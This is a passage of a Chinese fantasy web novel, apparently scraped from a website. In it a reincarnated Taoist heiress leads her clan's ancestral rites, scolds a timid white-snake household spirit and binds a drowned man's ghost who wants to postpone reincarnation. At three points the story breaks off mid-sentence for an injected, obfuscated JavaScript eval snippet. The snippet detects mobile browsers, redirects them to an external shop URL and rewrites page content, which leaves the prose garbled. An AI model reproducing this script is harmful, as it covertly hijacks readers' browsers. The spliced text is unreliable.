祝十安挨个儿大殿敬香,只剩最里面的祝家老祖宗云台道人还没敬香,祝十安跟昨天一样扭头要走,被几个族老拉着不让走。 “快过来拜拜,你小时候身子不好,你爷爷每个月初一都会带你来给咱们老祖先人烧香。” “你现在平安长大,又有了本事,多谢祖宗保佑哦。” “快过来磕头。” 族老们有的拉她胳膊,有的给她摆蒲团,有的给她点香,其他人站在一旁殷切地望着她,祝十安只觉得尴尬得头皮都要麻了。 给自己跪拜磕头算怎么回事? 这是求人不如求己的意思? “快拜啊!”族老催促。 祝十安看着石雕的塑像实在拜不下去,接过递到手里的香,潦草地插香炉里。 “你这孩子!” 不等瞪眼的族老说自己,祝十安抢先开口:“这个大殿空得很,我看不如把太一门的牌位加进来吧。他们都是祝家老祖宗的师长同门,又是因舍身为民除妖邪而死,于情于理,敬他们一柱香火,也是应当应分。” “你说得在理,可祖上没留下太一门的一字半句,咱们怎么给刻牌位?” 祝十安本想说她记得名字,却又解释不了她从何处得知太一门上下满门的名号,只能道:“不用每个人立一个牌位,立一个太一门的牌位就行了。” “收得到香火?” “肯定收得到。” 祝十安心里冷笑,她太一门满门的阴魂如果真的被扣在地府,地府还敢克扣他们的香火,以后她总有算总账的时候。 一直跟着的祝长丰看了眼外面的天色:“时候差不多了,咱们下山吧。” “走吧。” 祝十安领头走出大殿,冬日清晨的山风中,夹杂着道观四周千年松柏和露水的气息,冷的人打颤。 祝十安深吸一口气,冬天山上的日子可不好过。 镇山县地处西南腹地,就是因为此地山上湿冷,加上常年没人打扰,冬日里张玄清习惯了晚起。 昨天晚上睡得晚,今天早上起得就更晚了,等张玄清开门时,祝家人早已经下山了。 屋里屋外没见到人,张玄清懊恼得很:“唉,晚了一步,竟让他们走了。” 张节小小年纪不明白他的意思,睁着大眼睛看着他。 张玄清摸着他的脑袋又笑着说:“不妨事,这回不行等下回,你既喊我一声师爷,师爷我一定给你谋个好前程。” 张节乖乖点头。 张节这孩子原是张玄清同门师弟的孙子。 张节的爷爷,也就是张玄清的师弟,比张玄清天赋高,本来可以好好继承师门的,他却带着满门弟子下山打仗,打完后活着回来的十不存一,还伤的伤,残的残。 张玄清年轻时在师门中属于辈分大,能力差的典型人物,师门下山打仗去了,留了他守家。还活着的师兄弟们被抬回来,张玄清急的到处找药。 那时,因为得了祝家的恩德,得了好药才给回来的师兄弟们的伤治得七七八八。为了还这份恩情,张玄清才来祝家的云台观里当观主。 说回张玄清师弟,他拜进山门前是正一道的火居道士,他在家修行的时候成过婚,有个儿子叫张思道。他儿子没做道士,在乡下靠种地过日子,娶了下乡的女知青,也生了儿子,就是张节。 一家三口本来日子过得挺好,张思道前些年病死了,留下孤儿寡母日子难熬,还常受欺负。 国家恢复高考,张思道的媳妇儿考上了一所技术学校,她肯定要回城的,张节这孩子她没带走,送到了张玄清师门。 张玄清师门里如今都是些老弱病残,虽然他们抗战立过功,没人为难他们,但也没人帮他们。 他们自己还常受张玄清接济呢,哪里还养得活一个孩子?再说了,就是能给孩子一口饭吃,又该怎么教养? 那边一合计,只能想到把孩子送到张玄清这里。 毕竟,整个师门还活着的人里面,就他混得最好。 张玄清走了几步突然停下脚步,摸摸张节瘦巴巴的脸蛋,细细琢磨:“真要说起来,你亲爷爷乞丐出身,被掌门捡回师门才给他一个姓,他其实也不姓张。你嘛,姓什么也不用太讲究,张这个姓也不是你祖上传下来的。再者说,咱们修道之人本就不在乎身外之物,一个名字又算什么,不如你改姓祝怎么样?改姓祝了,我看那滑头的丫头还不收你为徒。” 张玄清仔细想过,那丫头说什么天赋,年纪小这样的话,都是假的,应该是舍不得把祝家的家传本事教给外人。 “师爷,肚子饿。” “哎哎哎,肚子饿了哦,咱们这就去吃饭。” 听到孩子喊肚子饿了,张玄清也不想七想八了,老头儿牵着孩子一路小跑去厨房。 祝十安倒不知道张玄清在偷偷盘算祝家,这会儿她已经到祝家村了,祝家全族男女老少全都出来了,夹道欢迎。 祝十安的目光慢慢扫过祝家族人,住在本村的,还有从隔壁村镇一早赶过来的祝家人,加一起有一千人了吧,竟然挑不出一个有天赋的? 祝十安重点关注那些被大人抱在怀里的婴儿、两三岁刚会跑的小孩儿,一个个看着都不错。 “大姑娘,咱们先祭祖,祭祖完了好吃早饭。” 祝十安点头:“那就开始吧。” 祝家村虽然是一姓村,那个年月里,能把祠堂护下来就很不容易了。祭祖这种事不好太张扬,传下来的那些大祭流程都省了。 祝十安作为领头的主祭,身后站着一排年轻人,进祠堂前祝长丰把这些年轻人带到她面前来,说这些都是祝家的读书种。 “祝家第三十二代家主,祝十安,携祝家全族,为祖宗敬香!” “跪!” “拜!” 祝家祠堂的牌位不是从祝十安开始算的,这里还有祝十安的祖宗们,祝十安总算心甘情愿地跪了。 但是,祝家传了一千多年,怎么才三十二代? 简单隆重的祭祖结束之后,祝十安看到了祝家的家谱,原来,祝家的家谱分两部,三清巷祝家单独写一部族谱。 三清巷祝家的族谱不单只以血缘论,而是以修道的天赋论,没有天赋,就算是亲父子,也不在三清巷祝家族谱里。 比如,她这辈子的亲爹祝寿来,那可是她爷爷祝福如的唯一亲儿子,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祝十安看完族谱记载,不明白,谁告诉祝家人去抢她的尸骨?为何要把她的尸骨葬在云台山? 云台观的阵法是谁布置的? 那阵法厉害,明面上看着是为了保护道观妖邪不侵,实际上是为了镇压她呀。 虽有镇压她的意思,那个阵法确实有聚魂养魄的作用,阵眼就在她的塑像底下。从这一点来说,辛苦设这个阵法的人,初心还是为了她好。 是友非敌! 祝家族老们不懂玄门的事,要说起跟祝家关系好的,族老们提到茅山跟祝家世代交好,一直有来往。 茅山派? 祝十安心里想到了许多名字。 时间过去太久了,久远到她不知道她认识的那些人有没有后代传下来。 祝十安的目光从她大哥的名字看过去,为了抢回她的尸骨,祝家死了一百二十四个族人。 都是血脉至亲! 有债要讨,有恩要还。 祭祖之后,祝十安简单吃了早饭后又忙起来,忙着见村里的族人。 祝十安无奈,这么多祝家人,竟然真找不出一个有玄学天赋的。 如此低的几率,家族传承竟然没有断,这个运气也不知道是好还是不好。 5. 第 5 章 祝家村热闹那是祝家人的事,外面的人对祝家村的事一概不知,除了有心求祝家办事的人家。 大年三十晚上,云台山上的钟声山下的人都听到了,隔天早上大年初一,王富贵又被暗中催促,王富贵知道不能再等了,于是一早就去打听祝家的消息。 也是赶巧了,王富贵才从家里出来,人还在船上,还没过江到县城,他就远远看到从云台山上下来的祝家人。 祝家人个个穿得整齐,乡下人家成婚都不见得有这样干净体面。祝家一行人簇拥着不知道谁赶路走得飞快,跑在前头的半大小子笑着闹腾,被祝长丰瞪了一眼老实了。 王富贵是大队上的壮劳力,夏收、秋收交公粮他肯定要出力,每回在粮站碰到其他大队的人闲扯几句是常有的事,因为这个机会,王富贵跟祝长丰搭过话,算认识。 王富贵知道祝长丰是祝家大队的大队长,也是祝家内部年轻一辈中领头的,看祝长丰那神情,就知道祝家肯定有大事要办。 王富贵不是个没眼色的,犹豫了一下,划船家去了。 王富贵出门一会儿就归家了,大儿子王大山跟着他爹进里屋,关上门小声问:“爹,咋这么快就回来了?” “祝家人没空,咱们过两日去问问。” 王大山嗯了声:“我说也是,大年初一上门说这事儿是不太吉利,惹人嫌的很。要不是大队上都盯着,我看怎么都该等到过了年再去祝家。” “大队长催得急,没法子。”王富贵声音闷闷的。 何止大队长催得急,大队上其他家也盯着他们家。王富贵今早出门的消息只怕暗地里已经传遍了。 王家顶着大队的压力又等了两日,直到听说祝家村那边的人都散了,外村的祝家人各自回家了,王富贵才去祝家村祝长丰家,请他帮忙递话。 祝长丰除夕夜亲眼见过大姑娘召来勾魂鬼,自觉自己已经开了眼界,心里知道自家大姑娘真有本事,拿下一个水鬼不在话下。 祝长丰多问一句:“怎么不去望云寺找大和尚?” 王富贵不好说大和尚无情,怕他们伤了二柱鬼魂,他只含糊说:“祝家才是咱们县的老住户,我们肯定信祝家。” 祝长丰心里有数了,叫王富贵等一等,他打发人去问问大姑娘的意思。 祝十安过年这两三天累着了,昨儿下午才回三清巷,心想今天好不容易清净休息,没想到一大早有人求上门来。 祝十安正吃早饭,听祝长芳说完王家的事,她放下粥碗,问:“这么着急?今天才大年初三啊。” 祝长芳消息灵通,她说:“我家徐中在国营饭店上班,我跟他们单位的人熟悉,他们单位的一个采购员是王富贵村里的,年前就听他们说村口江边不太平,短短半个月的工夫,有四五个人被拉下水。开始的时候大家没往那边想,后头有个妇女在江边大石头上拆洗被面,洗完了要拧干的时候你猜怎么着?” 祝长芳眼睛瞪大,语气激动道:“听说啊,落水里的半截儿被面死活扯不上来,就跟水里面有人跟她拔河似的,吓得她一下松了手。古怪的事情来了,你猜怎么着,被面掉水里竟没被冲走,就跟有根的水草一样在江面上飘着,吓死个人。” 祝凤琴把剥好的鸡蛋放在祝十安碗里,连忙问:“这么吓人?” “可不吗!听说他们大队最近轻易不去江边,就是有事儿要过河来县城办事儿,都是绕远路从别的大队那边过河。次数多了,消息藏不住就传出来了。” “唉,也不怪他们急,自从那年发大水把江上唯一一座桥给冲垮了之后,这些年大家只能坐船过河,闹这么一出,江里不太平,以后谁还敢走江边啊?” 镇山县所处的地方狭窄,除了四周的大山以及川流不息的春江之外,峡谷里空着的地方不多。 春江把镇山县从中间劈开两半,镇山县主要在春江的北岸,后来北岸没空地建房子了才有人去江对面南岸建房子。 总的来说,本地人认为北岸才是县城所在的地方,南岸沿着岸边一字摆开的是农田、村落,都是乡下地方。 如今呐,医院、学校、供销社、邮电局等等都在北岸县城里,等开春后,学生要来县里读书,南岸各个大队还要从北岸县城里运化肥,船来船往的,避不开的。 祝凤琴跟祝长芳说:“开春也冷啊,掉江水里不等水鬼来索命,自己先冻僵沉底喂鱼了。” “凤孃说得对,就是这个意思。” 祝凤琴看了一眼祝十安:“是该早点解决哦。” 祝长芳说:“这事儿不是一天两天了,拖到现在才想解决,他们村的人对王家算不错了。” 祝十安吃完鸡蛋喝完粥,摸着饱饱的肚子满足地叹了口气:“好吧,把人带过来吧。” “哎,我亲自去叫人。”祝长芳生性爱张罗,最爱掺和这些事。 祝凤琴心里得意,捡碗筷的时候小声跟祝十安说:“祝家的门楣高着呢,瞧瞧,你才回来就有人求上门办事。你可得给人好好弄,别跌了祝家的份儿。” 祝十安摆摆手:“不讲这些,凤孃,中午我想吃酸汤鱼,酸汤要猪油润锅炒香的,没有猪油的荤香不够味儿。” “就你会吃。猪油缸里的猪油要吃一整年的,可不敢这么敞开了用。”祝凤琴一边擦桌子一边抱怨:“你这孩子嘴巴刁得很,好东西吃了不少,怎么身上就不长肉?这么些年给你吃的好东西,我就是喂猪也喂成两百斤的大肥猪了。” 祝十安不管凤孃如何念叨,反正凤孃会给她吃就成了。 说起来祝十安还觉得委屈呢,她就剩点口腹之欲了,这点爱好都满足不了,那也太心酸了。 想当年……算了,好汉不提当年勇。 如今呐,她只是偏远小城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401581|200418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的一个小丫头,连勾魂的小鬼都镇不住哦。 祝十安独自坐在圈椅里胡思乱想,望着房梁发呆,一条细长的白色小蛇挂在房梁上,尾巴垂在空中,一晃一晃的。 “滚!灰尘叫你晃下来了,掉我眼睛里了。”祝十安闭眼。 吊梁上的小蛇生了一双圆眼,它吃了外形的亏,明明是有本事的保家仙,却被这个小丫头看不起,一下怒了。 小蛇身上忽地升腾起巨大的蛇影,锐利的蛇眼冒黑光,蛇嘴张开如血盆大口,一个猛子从半空扎下去。 敢不敬吾,看本仙不咬死你! 祝十安微闭的双眼睁开,幻化的巨蛇灵影即将要撕咬祝十安灵台时,祝十安手指微抬,朝着蛇影比划了一下,一道灵气如同利刃切豆腐一般剖开巨蛇的肚子。 啊! 白蛇嘶嘶惨叫,一下从房梁上栽下来,凄惨地落到祝十安脚边。 祝十安懒得移动身体,靠在椅子上的脑袋微微撇头瞟了一眼:“看你年纪不小了,在祝家混吃混喝这么多年,竟然一点本事也无。啧!” 放肆! 小蛇挣扎着要爬起来,努力竖起上半身,昂起扁扁的蛇头维护自己保家仙的尊严。 祝十安分明看到它圆眼睛里闪烁的泪花,忍不住笑了。 祝十安一笑,小蛇就更生气了,气得扑上来要咬她,势必要给这个小辈一点颜色瞧瞧。 祝十安从兜里掏出镇魂铃,轻轻一晃,小蛇就跟煮软的面条一样委顿在地上,盘成好几圈。 祝十安笑出了声:“说你是小废物你还不服气。” 啊!晕头晕脑的小蛇被气得满地乱滚! 这时,祝凤琴迈脚进来,小蛇抓着机会上身。 祝凤琴身体僵硬,眼睛瞪圆,敦实的身体柳条一般摇晃起来,指着祝十安训斥:“你这小辈放肆,见了本仙还不快来拜见!” 祝十安眼神微眯:“我只说一次,从她身上下来!” 小蛇吓得后退半步,鼓起勇气给自己表功:“当年你祝家人答应了奉本仙香火,我,我……护你祝家几代人,你要敬我尊我!” “呵,等你自己能说话了再来跟我谈条件。” 祝十安不吃这一套,她举起手里的镇魂铃,小蛇识相地立刻跑了。 祝凤琴身体一歪,祝十安连忙起身扶住她。 祝凤琴不明所以,迷茫道:“哎,我这是怎么了?头好晕啊。” “没事儿,没站稳而已。”祝十安扶着她坐下,给她揉揉额头。 大概是她的按摩有用,半晌祝凤琴精神好了,哎哟一声:“上年纪了哦,七灾八病的就找上来了。” 祝十安笑道:“找不来,再敢找您的晦气,回头我把它皮扒了。” 躲在后院墙缝里的小蛇吓得哆嗦。 呜呜呜,祝家小丫头好凶残,吓死蛇了! 6. 第 6 章 祝家有保家仙是民国时的事情了,那时候其他门派的传承都还算有序,祝家那一代的传人还算有本事,但她心里有一种直觉,她认为玄门和祝家未来必将没落。 有了这个担心后,她不得不为祝家多考虑几分,她能做的就是尽力给祝家后人攒东西。 祝家的地下密室里如今还存着她整理记载的玄学手札、她费心画的符箓、亲手制作的千里追魂香,以及,从不知道哪里捡回来的废物白蛇。 北方对山里的野仙有四大门的说法,胡黄白柳,柳说的就是蛇。有道行的野仙或主动托梦,或被请人进家门做保家仙。野仙得了香火,人得了庇护,双方都得益。 当然,碰到好仙才会这样,碰上野性难驯的,有的是主人家倒霉的时候。 要说祝十安,她一百个看不上家里这条白蛇。 祝十安猜测,请白蛇进门当保家仙的那位祝家家主也不是看中白蛇多有本事,看中的是它性情好,胆子小,请它到祝家受香火,也不是为了指望它为祝家立多大功劳,只是为了给祝家后人留个托底的。 玄门人士的直觉非常准,人道大兴,玄门跟随天轨关闭也必将走向末路。祝十安心里清楚,如果不是她意外转世回来,祝家传承大概会断在这一代,祝家那位家主为祝家做的准备非常有价值。 就说十年前那些对祝家不怀好意之人,就是被它使坏撵出去的。就这一回,也算对得起祝家人这些年给它的香火了。 王富贵还没到,祝十安站起身去后院溜达,不用仔细寻找,祝十安就看到一个劲儿往墙缝里躲的小蛇。 祝家得了它的好,祝十安肯定认账的,但是该有的规矩不能少。 祝十安蹲下,戳它尾巴尖尖:“你是个小姑娘吧。” 白蛇不理她,生气呢。 祝十安说:“你喜欢在祝家住就住着,该你的香火少不了你的。就是有一点,普通人身体差,你不许上他们的身,知道吗?” 白蛇终于舍得从墙缝里回头了,她的魂体跑出来,圆圆的眼睛里含着泪:“你不嫌我没用?不赶我走?” 呃……说不嫌是假话。 “不赶你走。” “行吧,你既然求我,那我就留下来吧。” 一人一蛇默契地忽略前一句,你说你的我说我的,大家都得到了想要的答案。 白蛇说:“我的仙号是柳白。” 祝十安嘴角微翘:“巧了,我认识一个叫柳玄的蛇,跟你同姓。” “我们柳门姓柳的多。” 祝十安站起来,拍拍衣裳的褶皱:“连名带姓叫不亲热,既然你在祝家住着,那就是一家人,我叫你小白吧。” 柳白想反对,她那颗不怎么聪明的小脑袋还没想到反对的理由,祝十安就走了。 柳白安慰自己,小白就小白吧,小白仙人也挺好听的。 小白从墙缝里爬出来,追上祝十安,小心问道:“你每天给我敬香吗?你亲手做的香?” 祝十安随手摸摸它的脑袋,一下把它的魂体拍回身体里:“自己努力修炼吧 ,走捷径没用。” 祝十安话说得理直气壮,心里却在嘤嘤嘤,她修炼那点灵气自己都不够用,哪有多余的做香啊。 溜了溜了。 “大姑娘,客人到了。” “这就来。”祝十安趁机跑了。 有生人来了,小白也不追了,溜回自己的仙坛里玩儿去。 祝家给它准备的仙坛可大呢,足足有半间屋大,仙坛外头摆着香炉供台,仙坛里头摆着两排书架。书架上堆满了话本小说。 小白熟练地爬到最顶上那排书架上,用尾巴翻开书页,一边看书一边扭成麻花状,高兴死了。 小白以前有个爱好,最爱盘在戏台的房梁上听戏,最爱的就是才子佳人,蛇妖书生这样的戏,幻想有一日自己修炼成人形后谈一场旷世绝恋。 后来镇山县的戏台不唱戏了,她没了消遣,它那个不聪明的脑袋硬是在祝家的家学中学会了认字。自那以后,祝家日常上供的除了香火之外,还有各种缠绵悱恻的爱话本。 嘶嘶嘶~ 别误会,这不是威胁的信号,这是小白仙人看到高兴处在痴笑。 祝十安疑惑小白在祝家这么多年怎么会如此废物,她如果看到这奇葩的一幕估计就明白了。 一个野仙对香火和功德兴趣一般,对故事书爱若珍宝,也是古往今来头一回了。 请小白到祝家做保家仙的那位家主无怪乎对它这么放心。 人对掌控范围内的东西自然是放心的,对自己掌控范围之外的事,百般疑虑不放心,偏又要求个确切的答案,得到答案了依然不放心。 说的,就是现在的王富贵。 “我家二柱当年救我家孙子没的,也算做了好事,送他去下头,能投个好人家吧。” “那我不知道,咱们是人,哪管得了阴曹地府的事。” “好人有好报总没错吧。” 这个祝十安不好说,她师门全是好人,他们的好报现在还欠着,不知道什么时候才能兑现。 王富贵见祝十安不说话,担心问道:“我给阎王送点礼?” “什么意思?” 王富贵说:“不是说有钱能使鬼推磨么,我给阎王烧纸,能让我儿子投个好人家不?” 老实说,祝十安觉得有点滑稽。外头的人嘴上都说不信这一套,这会儿面前的人认真问她能不能贿赂鬼神,在他这儿地府就是真实存在的。 “祝大师,我儿子会有好前程吧。” 不需要祝十安回答,王富贵自顾自地继续唠叨:“我儿子到死没想过什么福,囫囵填饱肚子就是难得好日子,这还得是粗粮。我现在都记得,我儿子死的前一天跟他娘说,过年想吃一个白面包子,要肉馅儿的,还被他娘说了一顿。既然要去投胎,就让他投家能吃上肉包子的好人家吧。” 王富贵的眼神里充满期待,祝十安却无法给他保证,只能斟酌着说了句:“好人应该有好报吧。” 王富贵从一进门起就愁眉苦脸,听到祝十安这话总算苦笑了一声。 不知道二柱前程如何,王富贵知道,这事儿不能拖了,再拖下去,二柱和他全家都得不了好。 “你家去吧,等天黑后到江边等着。” “辛苦祝大师了。” 祝十安倒不觉得送一个鬼去地府辛苦,她只觉得听王富贵唠叨很辛苦。 祝长芳送走王富贵回来问祝十安:“大姑娘,活着若是多做好事,下辈子真能投生去好人家?” 祝凤琴:“我听和尚都说了,这辈子吃苦是在给下辈子积德。” “听他们胡扯,你先把这辈子过好再说吧。”祝十安不关心下辈子:“凤孃,买鱼了吗?” 祝凤琴一拍大腿:“哎哟,我刚才进来干什么来着?对了,找泡菜坛子,趁着青菜嫩生,咱们多做些泡菜放着,以后你要吃酸汤鱼没酸菜可怎么行?” 祝长芳跟上祝凤琴的脚步去杂物房搬空坛子,一边说:“家里有冰糖没有?泡菜坛子里放点冰糖泡出来好吃,还脆生。” “哎哟,这么讲究?哪儿听说的?泡菜还放糖?” “国营饭店之前来过一个南方人,也是听人家说的,试了一回果然好吃。” “咱们下回试试,家里没糖票,这回不行。” “我家有现成的,我家去拿点过来。” “那不成,这不是占你家便宜么。现在谁家都不容易,你家还养着两个女娃娃,我不占你家便宜。” 祝凤琴和祝长芳两人你一句我一句地走远了,祝十安双手叉腰站在屋檐下,在心里盘自己的八字。 鳏寡孤独残,钱命权!她小小年纪父母都没了,五弊三缺中犯了孤,除此之外她的八字还应在钱上。 祝十安不甘心地又掐算了一回,没算错,还真是,她这辈子缺财。 缺财还了得?人活在世上没钱怎么过?她以后想吃点好吃的泡菜都买不起糖,我的老天爷啊! 祝凤琴和祝长芳抱着坛子出来,祝凤琴喊祝十安:“去柜子里拿钱,闲着没事儿去供销社买包盐回来。” 祝十安崩溃地摇头,她不能沾钱,钱跟她无缘。祝十安跑去地下密室里翻古籍,她隐约记得有什么法子可以改一改命的。 祝凤琴不懂她的崩溃:“这孩子,刚才还装得像一本正经的大人,这会儿又跟个孩子似的瞎跑,不听招呼。” 祝十安打小跟着老爷子去乡下躲灾,是在外头长大的,除了从小照顾她的祝凤琴外,族里其他人跟祝十安这个家族都不太亲近。祝长芳就打了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401582|200418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟这边亲近的主意,这会儿听祝凤琴提到性格,就笑着说:“咱们大姑娘正经起来的时候还是很镇得住场面的。” 祝凤琴自然觉得自己带大的孩子哪里都好,嘴上还是说:“面上是还过得去,你跟她处久了就知道,内里还是个孩子,讲究吃,性子还倔,她自己想好了的事,谁说也改不了她的主意。” 祝长芳默默记下这话,笑说:“大姑娘是咱们祝家的一家之主,有主见是好事。” “她一个小人儿哪里顾得了那么齐全,还是要族里多帮衬,咱们全族才会越过越好。” 祝凤琴虽然只是祝家的旁支,在她爷爷那一辈取名时就不跟着祝家的字辈取名了,但是她小时候祝家还有族学,她念过几年书,很有些见识,说话也周到。 有上辈子的记忆打底,祝十安打从心里就很自信,天生就把自己放在高位,一贯都是抓大放小,她不在乎的一些细节处,都是祝凤琴在帮她描补。 祝长芳对祝凤琴很尊重:“族老们早些年就说过,虽然咱们是同族人不说外道话,你照顾大姑娘照顾得好就是对我们全族有恩,以后族里肯定会给你养老送终。” 祝凤琴笑道:“以后的事以后再说吧。帮把手,咱们打桶水把坛子洗了晾上。” “成咧。” 还在年节上就忙起来了,祝凤琴一点也闲不住,就是说笑手里也要找点活儿干。到了晚上也不歇,亮着灯等祝十安家来。 江边。 天色刚黑祝十安就到王富贵在的大队江边,她轻易就把留恋人间不走,在春江里做了好几年水鬼的王二柱逼上岸,让他现形。 祝十安一眼看出这是个胆小又留恋人间的鬼,没什么好说的,烧张符箓直接送走就完了。 “慢着!” “求求了!” 王富贵一家和王二柱一个站着一个跪着,同时叫住祝十安,祝十安又不是不通人情世故,说:“你们一家人还有什么话要说?” 王富贵看着王二柱勉强还忍得住,王二柱的娘一点忍不住,哭倒在地:“儿啊!我的儿啊!” 王大娘哭得喘不上气来,王富贵再忍不住眼泪,扶着媳妇儿,夫妻俩一起抱头痛哭。 王二柱的大哥王大山推自己儿子王建华一把:“还不给你小叔跪下磕头,要不是你小叔救你,死的就是你,你欠你小叔一命知不知道?” 王大嫂也叫儿子磕头,她哭着道:“二柱,我们一家对不起你啊,你还有什么心愿尽管说,要什么吃的喝的我和你大哥想办法给你弄。” 王建华跪地上磕头抹眼泪:“小叔,都怪我不好。” 王家一家人哭得歇不住气,王二柱眼睛不舍地望着家人:“爹娘,大哥大嫂,我舍不得你们,不要送我去投胎行不,我不害人。” “你不害人你闹什么闹?你要安安静静地谁又发现你了?现在晚了。”王富贵实在舍不得小儿子,扭过头不看他。 祝十安扬起符箓,念咒:“尘归尘,土归土——” “求求了,我不想走!”王二柱跪下求情,也哭了:“大师啊,我去地府现在投胎回来也是过苦日子,我不想投胎啊!” 祝十安默默瞟一眼王富贵,这个当爹的真了解自己的儿子。 “大师啊,我就是没事儿干逗逗他们,我真不害人,求你让我留下吧。” “不行!” 这时,大队长带着十几个年轻火力壮的年轻人过来,大队长心里犯怵,却还是强撑着胆子上前劝道:“二柱,走吧,投胎去,下辈子投个好人家,过好日子去。” “哪里有好日子啊!面朝黄土背朝,辛苦一年还吃不饱饭,穿不上一件好衣裳,这日子有什么奔头?”王二柱望着祝十安:“求求大师放我一条生路吧,我只是想过好日子,我有什么错。” 大队长急的跺脚:“王叔,你说句话啊。” 王富贵被十几双眼睛盯着,不管愿不愿意,只能摆手道:“二柱,走吧。” 王二柱知道做主的是祝十安,他哭求道:“大师,再等几年投胎行不行,不要等久了,四年,四年不行三年也行。” “为什么要等三年?” “不是恢复高考了嘛,我寻思着,再等三四年投胎,可以投到大学生家里,生来就能过上好日子。” “……” 7. 第 7 章 谁不想过好日子? 王二柱理直气壮,倒是让其他人不好劝了。 大队长只能道:“二柱啊,以前你可是个吃苦耐劳的好小伙儿。” “那不是不劳动没饭吃么。活着时没得选,现在有得选,不得选一选。”王二柱哭唧唧。 两辈子第一次碰到这么实在的鬼,祝十安也是长见识了,不过:“投胎我说了不算,你说了也不算,去地府报到吧。” “大师啊!饶我一条鬼命吧!” 一声鬼嚎吓祝十安一大跳,祝十安看他鬼眼变红顿觉不好。执念这么重?为了过好日子甚至不惜变成厉鬼? “停!你要变成厉鬼就别想投胎过好日子了,直接魂飞魄散算了。” 祝十安手里的镇魂铃轻晃,鬼眼的厉红退了,神智也回来了,王二柱眼巴巴地望着祝十安。 有理智的鬼祝十安愿意给他几分宽容:“再留你几年也行,但是你得听我指令。” 王二柱点点头,只要能过好日子,他听,他什么都听。 祝十安拿出一张七门禁止符,符箓轻挥,一道黑金色的光圈束缚着王二柱,王二柱动弹不得,他慌的直喊爹娘。 “二柱啊!”王大娘吓坏了。 “你别瞎动就没事。”祝十安指着他脚底下唯一没光的那个方位:“那是第八道门,你往那边跨一步就是地府,想投胎随时可以走。” 王二柱吓得一动不敢动,他要过好日子的,现在不能去投胎啊。 祝十安摇晃镇魂铃:“来!” 王二柱被镇魂铃吸过去,古朴的镇魂铃上显露出七门禁止符的符箓纹路,隐隐约约,闪着黑金色的微光,十分奇异又有不详的意味。 王二柱凭借他做鬼多年的直觉,感觉他的鬼命能去地府还是魂飞魄散,此刻就在祝大师的一念之间。 忍不住哆嗦,吓死鬼了。 祝十安把王二柱收走了,大队长一行人顿时松了一大口气,这个事儿总算了结了。 王大娘抱着大孙子哭晕过去,王大山赶忙把他娘背在背上。 王富贵手足无措,不知道该做点什么,大队长连忙拉着他:“王叔啊,二柱以后要投胎去好人家,您就别惦记了。” “说的是哦,他以后日子好过啦。” 附和着的年轻人对王二柱有点羡慕。他还要当牛做马好几十年,死了以后还不知道下辈子的事,谁知道好不好哦。 不管以后如何,大家看着祝家这位年轻的继承人,这位肯定能活着把他们送走,看到他们变成鬼吧。 镇山县以后又有一个厉害人物了。 大队长对祝十安殷勤道:“天黑不好过河,不如去我家住一晚?” 祝十安说不用了:“也不远,回去不麻烦。” 祝十安不是自己一个人来,祝长丰也在,他撑着船送祝十安回去。 三清巷祝家的灯还亮着,估摸着祝十安要回来了,祝凤琴隔一会儿就去门口看看,也不怕冷,跑了好几趟才看到祝十安和祝长丰到了巷口。 祝凤琴走下台阶忙问:“顺不顺利?” 祝长丰笑道:“咱们大姑娘的本事您还有什么不放心的?” “我不担心平不了事儿,就是担心你们冷着,冬天的江风冻死个人。” 祝长丰说:“晚上江上的风是有点大。” 祝十安困得打哈欠,这个点儿是该她睡觉的时候了。祝凤琴问她:“锅里给你们留了稀饭,还热着,吃点儿暖和的再睡?” 祝十安不饿:“你们吃吧,我进屋了。” 祝十安不吃,祝长丰胃口好得很。他胃口好,兴致还高,刚才听到回来的动静,旁边几家人都出来瞧,这会儿都成了祝长丰的听众,听他说他们家大姑娘如何收服小鬼的。 “大姑娘画符可快了,那个符看着厉害,把小鬼压得动弹不得。” “嘿,咱们家那个镇魂铃是个大宝贝!” 祝家到底是有家传的,在这方面胆子比一般人大。王富贵大队上今儿开了眼界的那几个人,家去说,鬼也不吓人,王二柱跟活着时差不多。 “那是碰上善鬼了,要是碰上恶鬼你试试?拉你去江里成了替死鬼,你就知道厉害了。” “老话说人鬼殊途,人沾了鬼气还有好的?” “王家的事了了也就了了,以后不准再提,就当没这事儿。” 家里长辈把没点敬畏的年轻人骂了一顿,叫他们滚去睡觉,明儿早上起来去把脏衣服拿去江边洗洗。 自从年前江边闹水鬼,平日里妇女孩子不敢轻易去江边,脏衣服都没处洗去。寻常人家就那么一身换洗的,再不洗脏的没法儿见人了。 隔日清晨,熟悉的大雾弥漫整个山谷,十米之外不见人,冬日里的镇山县历来如此。 大公鸡一声鸡鸣叫醒了镇山县的居民,各家开门去井边打水,做饭洗漱,一天就忙活开了。 虽然还在正月里,有工作的人今天已经开始上班了。 